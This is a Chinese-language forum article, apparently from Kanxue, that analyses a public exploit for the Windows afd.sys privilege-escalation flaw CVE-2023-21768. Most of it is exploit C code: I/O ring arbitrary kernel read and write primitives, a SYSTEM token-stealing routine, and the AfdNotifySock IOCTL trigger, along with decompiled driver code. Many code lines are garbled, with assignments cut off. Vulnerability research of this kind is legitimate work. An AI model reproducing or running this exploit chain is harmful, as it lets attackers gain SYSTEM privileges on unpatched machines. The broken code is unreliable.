Windows_AFD_LPE_CVE-2023-21768分析
本文为看雪论坛优秀文章
看雪论坛作者ID:N1ptune
CVE-2023-21768 Windows Ancillary Function Driver (AFD) afd.sys本地提权漏洞。
本文是对exp代码的分析,完整exp : xforcered/Windows_LPE_AFD_CVE-2023-21768: LPE exploit for CVE-2023-21768 (github.com)(https://github.com/xforcered/Windows_LPE_AFD_CVE-2023-21768)
漏洞分析
个人感觉整个exp中最精华的部分在ioring的lpe部分,这部分代码来自Yarden Shafir(https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/)。
I/O ring
i/o ring 是Windows 11(22H2)新出现的一种机制,参考ioringapi - Win32 apps | Microsoft Learn(https://learn.microsoft.com/en-us/windows/win32/api/ioringapi/)
通过CreateIoRing来创建一个IORING_OBJECT对象。内核中对应NtCreateIoRing。
HRESULT CreateIoRing(
IORING_VERSION ioringVersion,
IORING_CREATE_FLAGS flags,
UINT32 submissionQueueSize,
UINT32 completionQueueSize,
HIORING *h
);
submissionQueueSize和completionQueueSize会被替换成2的幂数,使用GetIoRingInfo获取实际大小。
submission queue的结构是头部+若干个NT_IORING_SEQ,Head和Tail之间的NT_IORING_SEQ是还未被处理的NT_IORING_SEQ。
submission queue entry的结构:
以FileRef所指向的文件句柄和buffer进行读写操作,当操作为读时从文件处读取length长的数据并写入到buffer的Address中,当操作为写时从buffer的Address处读取length长的数据并写入到文件中。
通过SubmitIoRing函数提交。
正常情况下这个操作是不会出问题的,但是如果我们有一个任意写漏洞的时候会发生什么呢?
如果我们将Buffer改写为我们申请出的一块内存,并且将address和length设置好,那么当操作是写时,从buffer的Address处读取length长的数据并写入到文件中,我们在从这个文件中读出数据就可以实现任意读,当操作是读时,从文件处读取length长的数据并写入到buffer的Address中,就可以实现任意写。
也即通过BuildIoRingWriteFile实现任意读,通过BuildIoRingReadFile实现任意写。
创建I/O ring
创建I/O ring对象,再创建两个命名管道用做读写句柄。
ringint ioring_setup(PIORING_OBJECT* ppIoRingAddr)
{
int ret = -1;
IORING_CREATE_FLAGS ioRingFlags = { 0 };
IORING_CREATE_REQUIRED_FLAGS_NONE; =
IORING_CREATE_REQUIRED_FLAGS_NONE; =
ret = CreateIoRing(IORING_VERSION_3, ioRingFlags, 0x10000, 0x20000, &hIoRing);
if (0 != ret)
{
goto done;
}
ret = getobjptr(ppIoRingAddr, GetCurrentProcessId(), *(PHANDLE)hIoRing);
if (0 != ret)
{
goto done;
}
pIoRing = *ppIoRingAddr;
hInPipe = CreateNamedPipe(L"\\\\.\\pipe\\ioring_in", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);
hOutPipe = CreateNamedPipe(L"\\\\.\\pipe\\ioring_out", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);
if ((INVALID_HANDLE_VALUE == hInPipe) || (INVALID_HANDLE_VALUE == hOutPipe))
{
ret = GetLastError();
goto done;
}
hInPipeClient = CreateFile(L"\\\\.\\pipe\\ioring_in", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
hOutPipeClient = CreateFile(L"\\\\.\\pipe\\ioring_out", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if ((INVALID_HANDLE_VALUE == hInPipeClient) || (INVALID_HANDLE_VALUE == hOutPipeClient))
{
ret = GetLastError();
goto done;
}
ret = 0;
done:
return ret;
}
任意读
首先设置好读取数据地址和长度,在通过BuildIoRingWriteFile将ReadAddr处的数据写入到管道中,再从管道中将数据读取到ReadBuffer中。
int ioring_read(PULONG64 pRegisterBuffers, ULONG64 pReadAddr, PVOID pReadBuffer, ULONG ulReadLen)
{
int ret = -1;
PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;
IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hOutPipeClient);
IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
IORING_CQE cqe = { 0 };
pMcBufferEntry = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
if (NULL == pMcBufferEntry)
{
ret = GetLastError();
goto done;
}
pReadAddr; =
ulReadLen; =
0xc02; =
0x80; =
1; =
1; =
pMcBufferEntry; =
ret = BuildIoRingWriteFile(hIoRing, reqFile, reqBuffer, ulReadLen, 0, FILE_WRITE_FLAGS_NONE, NULL, IOSQE_FLAGS_NONE);
if (0 != ret)
{
goto done;
}
ret = SubmitIoRing(hIoRing, 0, 0, NULL);
if (0 != ret)
{
goto done;
}
ret = PopIoRingCompletion(hIoRing, &cqe);
if (0 != ret)
{
goto done;
}
if (0 != cqe.ResultCode)
{
ret = cqe.ResultCode;
goto done;
}
if (0 == ReadFile(hOutPipe, pReadBuffer, ulReadLen, NULL, NULL))
{
ret = GetLastError();
goto done;
}
ret = 0;
done:
if (NULL != pMcBufferEntry)
{
sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);
}
return ret;
}
任意写
先将需要写的数据写入到管道中,在设置好WriteAddr和WriteLen,使用BuildIoRingReadFile将数据写入到WriteAddr处。
int ioring_write(PULONG64 pRegisterBuffers, ULONG64 pWriteAddr, PVOID pWriteBuffer, ULONG ulWriteLen)
{
int ret = -1;
PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;
IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hInPipeClient);
IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
IORING_CQE cqe = { 0 };
if (0 == WriteFile(hInPipe, pWriteBuffer, ulWriteLen, NULL, NULL))
{
ret = GetLastError();
goto done;
}
pMcBufferEntry = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
if (NULL == pMcBufferEntry)
{
ret = GetLastError();
goto done;
}
pWriteAddr; =
ulWriteLen; =
0xc02; =
0x80; =
1; =
1; =
pMcBufferEntry; =
ret = BuildIoRingReadFile(hIoRing, reqFile, reqBuffer, ulWriteLen, 0, NULL, IOSQE_FLAGS_NONE);
if (0 != ret)
{
goto done;
}
ret = SubmitIoRing(hIoRing, 0, 0, NULL);
if (0 != ret)
{
goto done;
}
ret = PopIoRingCompletion(hIoRing, &cqe);
if (0 != ret)
{
goto done;
}
if (0 != cqe.ResultCode)
{
ret = cqe.ResultCode;
goto done;
}
ret = 0;
done:
if (NULL != pMcBufferEntry)
{
sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);
}
return ret;
}
I/O ring lpe
找到system进程然后替换token。
int ioring_lpe(ULONG pid, ULONG64 ullFakeRegBufferAddr, ULONG ulFakeRegBufferCnt)
{
int ret = -1;
HANDLE hProc = NULL;
ULONG64 ullSystemEPROCaddr = 0;
ULONG64 ullTargEPROCaddr = 0;
PVOID pFakeRegBuffers = NULL;
_HIORING* phIoRing = NULL;
ULONG64 ullSysToken = 0;
char null[0x10] = { 0 };
hProc = OpenProcess(PROCESS_QUERY_INFORMATION, 0, pid);
if (NULL == hProc)
{
ret = GetLastError();
goto done;
}
ret = getobjptr(&ullSystemEPROCaddr, 4, 4);
if (0 != ret)
{
goto done;
}
printf("[+] System EPROC address: %llx\n", ullSystemEPROCaddr);
ret = getobjptr(&ullTargEPROCaddr, GetCurrentProcessId(), hProc);
if (0 != ret)
{
goto done;
}
printf("[+} Target process EPROC address: %llx\n", ullTargEPROCaddr);
pFakeRegBuffers = VirtualAlloc(ullFakeRegBufferAddr, sizeof(ULONG64) * ulFakeRegBufferCnt, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (pFakeRegBuffers != (PVOID)ullFakeRegBufferAddr)
{
ret = GetLastError();
goto done;
}
memset(pFakeRegBuffers, 0, sizeof(ULONG64) * ulFakeRegBufferCnt);
phIoRing = *(_HIORING**)&hIoRing;
phIoRing->RegBufferArray = pFakeRegBuffers;
phIoRing->BufferArraySize = ulFakeRegBufferCnt;
ret = ioring_read(pFakeRegBuffers, ullSystemEPROCaddr + EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64));
if (0 != ret)
{
goto done;
}
printf("[+] System token is at: %llx\n", ullSysToken);
ret = ioring_write(pFakeRegBuffers, ullTargEPROCaddr + EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64));
if (0 != ret)
{
goto done;
}
ioring_write(pFakeRegBuffers, &pIoRing->RegBuffersCount, &null, 0x10);
ret = 0;
done:
return ret;
}
漏洞成因
通过diff可以判断漏洞点位于afd.sys的AfdNotifyRemoveIoCompletion函数。
这里可以看出没有对**(_DWORD **)(a3 + 24)进行进行验证就把v18赋值,所以设置好这里就可以实现任意写。
查找这个函数的引用是AfdNotifySock。继续查找引用,发现其在AfdImmediateCallDispatch中是最后一个函数。
在AfdIoctlTable中找到最后一个ioctl_code, 是0x12127。
与afd.sys交互参考x86matthew - NTSockets - Downloading a file via HTTP using the NtCreateFile and NtDeviceIoControlFile syscalls(https://www.x86matthew.com/view_post?id=ntsockets)
查看AfdNotifySock函数。
检测
if ( InputBufferLength != 0x30 || OutputBufferLength )
{
v10 = STATUS_INFO_LENGTH_MISMATCH;
goto LABEL_45;
}
if ( !v7->dwCounter )
goto LABEL_5;
if ( v7->dwLen )
{
if ( !v7->pPwnPtr || !v7->pData2 )
goto LABEL_5;
}
else if ( v7->pData2 || v7->dwTimeout )
{
LABEL_5:
v10 = STATUS_INVALID_PARAMETER;
goto LABEL_45;
}
v11 = v7->hCompletion;
Object = 0i64;
v10 = ObReferenceObjectByHandle(v11, 2u, IoCompletionObjectType, pre_mode, &Object, 0i64);
if ( v10 >= 0 )
{
v12 = IoIs32bitProcess(0i64);
v13 = 0;
v14 = (unsigned __int64 *)MmUserProbeAddress;
while ( v13 < v7->dwCounter )
{
if ( pre_mode )
{
v24 = 0i64;
v25 = 0i64;
v15 = v13;
v16 = v7->pData1;
if ( v12 )
{
v17 = (unsigned __int64)v16 + 16 * v13;
v31 = v17;
if ( (v17 & 3) != 0 )
ExRaiseDatatypeMisalignment();
if ( v17 + 16 > *v14 || v17 + 16 < v17 )
*)*v14 = 0;
*)&v24 = *(unsigned int *)v17;
*)&v24 + 1) = *(unsigned int *)(v17 + 4);
*(_WORD *)(v17 + 8); =
*(_BYTE *)(v17 + 10); =
}
else
{
v17 = (unsigned __int64)v16 + 24 * v13;
if ( v17 >= *v14 )
v17 = *v14;
v24 = *(_OWORD *)v17;
v25 = *(_QWORD *)(v17 + 16);
}
v18 = &v24;
v27 = &v24;
}
else
{
v15 = v13;
v17 = 3i64 * v13;
v18 = (__int128 *)((char *)v7->pData1 + 24 * v13);
v27 = v18;
}
v19 = a1;
if ( v13 )
v19 = 0i64;
pre_mode; =
v20 = AfdNotifyProcessRegistration(v17, v9, v18, v19);
if ( pre_mode )
{
v21 = (char *)v7->pData1;
v14 = (unsigned __int64 *)MmUserProbeAddress;
if ( v12 )
v22 = &v21[16 * v15 + 12];
else
v22 = &v21[24 * v15 + 20];
if ( (unsigned __int64)v22 >= MmUserProbeAddress )
v22 = (char *)MmUserProbeAddress;
*)v22 = v20;
}
else
{
*)v7->pData1 + 6 * v15 + 5) = v20;
v14 = (unsigned __int64 *)MmUserProbeAddress;
}
++v13;
}
v10 = AfdNotifyRemoveIoCompletion(pre_mode, (__int64)v9, (__int64)v7);
}
为了过掉检测需要将InputBufferLength设置为0x30,将hCompletion通过未导出函数NtCreateIoCompletion设置为一个句柄,将pdata1设置为一块申请出的空间, counter 设为1。
查看AfdNotifyRemoveIoCompletion函数。
dwLen = a3->dwLen;
if ( !(_DWORD)dwLen )
{
LABEL_33:
v8 = 0;
goto LABEL_34;
}
if ( a1 )
v9, v11);
v8 = IoRemoveIoCompletion(v25, Pool2, v4, (unsigned int)dwLen, &v20, a1, v13, 0);
if ( !v8 )
{
if ( v19 )
{
for ( i = 0; i < v20; ++i )
{
v15 = &Pool2[32 * i];
v16 = (char *)a3->pData2 + 16 * i;
*(_DWORD *)v15; =
*((_DWORD *)v15 + 2); =
*((_DWORD *)v15 + 6); =
*((_DWORD *)v15 + 4); =
}
}
*)a3->pPwnPtr = v20;
goto LABEL_33;
}
将dwLen = 0x1设为1, pData2设为一块申请出的内存,为了使IoRemoveIoCompletion返回0需要使用未导出函数NtSetIoCompletion。
最后整合到一起就是:
int ArbitraryKernelWrite0x1(void* pPwnPtr)
{
int ret = -1;
HANDLE hCompletion = INVALID_HANDLE_VALUE;
IO_STATUS_BLOCK IoStatusBlock = { 0 };
HANDLE hSocket = INVALID_HANDLE_VALUE;
UNICODE_STRING ObjectFilePath = { 0 };
OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
AFD_NOTIFYSOCK_DATA Data = { 0 };
HANDLE hEvent = NULL;
HANDLE hThread = NULL;
// Hard-coded attributes for an IPv4 TCP socket
BYTE bExtendedAttributes[] =
{
0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1E, 0x00, 0x41, 0x66, 0x64, 0x4F, 0x70, 0x65, 0x6E, 0x50,
0x61, 0x63, 0x6B, 0x65, 0x74, 0x58, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x60, 0xEF, 0x3D, 0x47, 0xFE
};
ret = _NtCreateIoCompletion(&hCompletion, MAXIMUM_ALLOWED, NULL, 1);
if (0 != ret)
{
goto done;
}
ret = _NtSetIoCompletion(hCompletion, 0x1337, &IoStatusBlock, 0, 0x100);
if (0 != ret)
{
goto done;
}
ObjectFilePath.Buffer = (PWSTR)L"\\Device\\Afd\\Endpoint";
ObjectFilePath.Length = (USHORT)wcslen(ObjectFilePath.Buffer) * sizeof(wchar_t);
ObjectFilePath.MaximumLength = ObjectFilePath.Length;
ObjectAttributes.Length = sizeof(ObjectAttributes);
ObjectAttributes.ObjectName = &ObjectFilePath;
ObjectAttributes.Attributes = 0x40;
ret = _NtCreateFile(&hSocket, MAXIMUM_ALLOWED, &ObjectAttributes, &IoStatusBlock, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 1, 0, bExtendedAttributes, sizeof(bExtendedAttributes));
if (0 != ret)
{
goto done;
}
Data.hCompletion = hCompletion;
Data.pData1 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
Data.pData2 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
Data.dwCounter = 0x1;
Data.dwLen = 0x1;
Data.dwTimeout = 100000000;
Data.pPwnPtr = pPwnPtr;
if ((NULL == Data.pData1) || (NULL == Data.pData2))
{
ret = GetLastError();
goto done;
}
hEvent = CreateEvent(NULL, 0, 0, NULL);
if (NULL == hEvent)
{
ret = GetLastError();
goto done;
}
_NtDeviceIoControlFile(hSocket, hEvent, NULL, NULL, &IoStatusBlock, AFD_NOTIFYSOCK_IOCTL, &Data, 0x30, NULL, 0);
ret = 0;
done:
if (INVALID_HANDLE_VALUE != hCompletion)
{
CloseHandle(hCompletion);
}
if (INVALID_HANDLE_VALUE != hSocket)
{
CloseHandle(hSocket);
}
if (NULL != hEvent)
{
CloseHandle(hEvent);
}
if (NULL != Data.pData1)
{
VirtualFree(Data.pData1, 0, MEM_RELEASE);
}
if (NULL != Data.pData2)
{
VirtualFree(Data.pData2, 0, MEM_RELEASE);
}
return ret;
}
参考
Patch Tuesday -> Exploit Wednesday: Pwning Windows Ancillary Function Driver for WinSock (afd.sys) in 24 Hours (securityintelligence.com)
https://securityintelligence.com/posts/patch-tuesday-exploit-wednesday-pwning-windows-ancillary-function-driver-winsock/
One I/O Ring to Rule Them All: A Full Read/Write Exploit Primitive on Windows 11 – Winsider Seminars & Solutions Inc. (windows-internals.com)
https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/
I/O Rings – When One I/O Operation is Not Enough – Winsider Seminars & Solutions Inc. (windows-internals.com)
https://windows-internals.com/i-o-rings-when-one-i-o-operation-is-not-enough/
x86matthew - NTSockets - Downloading a file via HTTP using the NtCreateFile and NtDeviceIoControlFile syscalls
https://www.x86matthew.com/view_post?id=ntsockets
看雪ID:N1ptune
https://bbs.kanxue.com/user-home-913941.htm
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